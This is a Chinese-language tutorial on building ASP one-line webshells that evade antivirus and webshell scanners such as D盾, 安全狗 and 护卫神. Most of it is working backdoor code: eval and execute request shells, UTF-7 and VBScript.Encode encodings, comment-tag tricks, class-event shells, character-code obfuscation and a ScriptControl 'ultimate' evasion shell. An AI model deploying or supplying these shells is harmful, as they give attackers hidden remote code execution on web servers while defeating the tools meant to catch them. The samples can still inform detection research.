构造免杀的asp一句话木马
字数 1159 2025-08-29 08:32:18
ASP一句话木马免杀技术详解
0x00 前言
随着时间推移,ASP技术逐渐衰落,导致针对ASP网站后门的研究减少。本文详细梳理ASP一句话Webshell的构建方法和免杀技术,目标是构建能绕过8款主流安全检测工具的ASP一句话木马。
0x01 ASP执行原理
ASP脚本支持VBScript和JScript两种脚本语言,部署在IIS或PWS服务器上。执行流程:
- IIS判断请求为ASP脚本
- 通过Isapi模块调用asp.dll解释引擎
- asp.dll获取脚本内容并解释执行
代码块通常包裹在<% %>标签中,默认使用VBScript解释。也可显式指定语言:
<%@ language="VBscript" %>
<script language="VBScript" runat="server">
代码
</script>
0x02 ASP注释方式
ASP支持五种注释方式:
'单引号(单行)REMrem+空格(单行)//双斜线(单行,VBscript/JScript可用,仅IIS)- HTML注释符(单行,VBscript可用,仅IIS)
/* */多行注释符(JScript可用)
0x03 ASP一句话现状
主要使用三个VBScript函数执行代码:
<%eVAl reQuEst(0)%>
<%exECuTe ReqUEst(0)%>
<%eXECutegLobaL rEquEst(0)%>
常见隐藏方法:
1. UTF-7编码
原始代码:
<%@codepage=65000%><%response.codepage=65001:eval(request("LandGrey"))%>
编码后:
<%@codepage=65000%><%+AHIAZQBzAHAAbwBuAHMAZQAuAGMAbwBkAGUAcABhAGcAZQA9ADYANQAwADAAMQA6AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBMAGEAbgBkAEcAcgBlAHkAIgApACk-%>
2. VBScript.Encode编码
原始代码:
ExecuteGlobal request("LandGrey")
编码后:
<%@ LANGUAGE = "VBScript.Encode"IQAAAA==3X+^!YMVK4msPM+5E/OcrSl [MM+Xrb+AsAAA=
0x04 研究思路
当前困难
- ASP技术成熟,难找新型技术
- 语法结构简单
- 成熟查杀工具的防范
有利条件
- ASP应用减少导致查杀重视度降低
- 多数工具仍依赖正则特征匹配
- ASP特征库更新不及时
研究方法
- 收集样本并交叉验证
- 分类分析技术
- 重点研究绕过部分工具的样本
- 深入语法特性挖掘
- 结合手工测试与Fuzzing
0x05 绕过D盾检测
方法一:填充垃圾数据+特殊字符串
关键点:
- 利用注释符
- 使用
'%>和'<%闭合标签 - 填充大量
<%%>标签(文件>0.97MB) - 特定位置插入
<??>
示例glorysday.asp:
<%'%><%%><%%><%%>...<??>...<%%><%%><%execute request("LandGrey")%><%'%>
方法二:<!--"-->注释符
在任何被杀脚本的<%和代码之间插入<!--"-->即可绕过:
<%<!--"-->execute request("LandGrey")%>
0x06 绕过安全狗检测
方法一:<!--"-->注释符
同D盾方法二
方法二:其他方式
- VBscript encode编码
- 请求判断:
<%if Request("LandGrey")<>"" then ExecuteGlobal request("LandGrey") end if %>
- request变量替换:
<%if request("LandGrey")<>""then session("LandGrey")=request("LandGrey"):end if:if session("LandGrey")<>"" then execute session("LandGrey")%>
0x07 绕过护卫神检测
方法一:类初始化事件(极限模式)
<%Class LandGrey
Private Sub Class_Initialize
eval(request("LandGrey"))
End Sub
End Class
Set X = New LandGrey%>
方法二:类卸载事件(极限模式)
<%Class LandGrey
Private Sub class_terminate
eval(request("LandGrey"))
End Sub
End Class
Set X = New LandGrey
Set X = Nothing%>
方法三:花式语法(通用模式)
<%eXecUTe(fun("%167%184%163%174%98%180%167%179%183%167%181%182%106%100%142%163%176%166%137%180%167%187%100%107"))
Function fun(Str): Str = Split(Str,"%")
For x=1 To Ubound(Str)
fun=fun&Chr(Str(x)-66)
Next
End Function%>
0x08 终极免杀方案
使用CreateObject创建ScriptControl组件执行代码:
<%@ language = VBscript
SET LandGrey = server.CreateObject("mS"&chr(115)&"cR"&chr(105)&"pTCo"&Chr(110)&Chr(84)&"rOL.Sc"&chr(114)&"IpTCo"&Chr(110)&Chr(84)&"rOL.1")
LandGrey.lANguaGE = cHr(86)&"BsC"&CHR(114)&chr(105)&"PT"
LandGrey.AddObject "REsponse", Response
LandGrey.AddObject "r"&chr(101)&"quEst", requesT
LandGrey.AddObject "s"&chr(101)&"ssIon", sessiOn
LandGrey.AddObject "serv"&chr(101)&"r", serVer
LandGrey.AddObject "apPlic"&CHR(97)&"tIon", application
LandGrey.eXECuTeStAtEmENt("eV"&CHr(&0141)&"L"&Chr(40)&"rEqU"&cHr(101)&"St("&chr(34)&"LandGrey"&chr(34)&CHR(41)
总结
- 针对不同工具采用不同绕过策略
<!--"-->可绕过D盾和安全狗- 类事件可绕过护卫神极限模式
- 字符编码转换可增强隐蔽性
- CreateObject方法具有最佳兼容性
通过灵活组合这些技术,可以构建出能绕过主流安全检测工具的ASP一句话木马。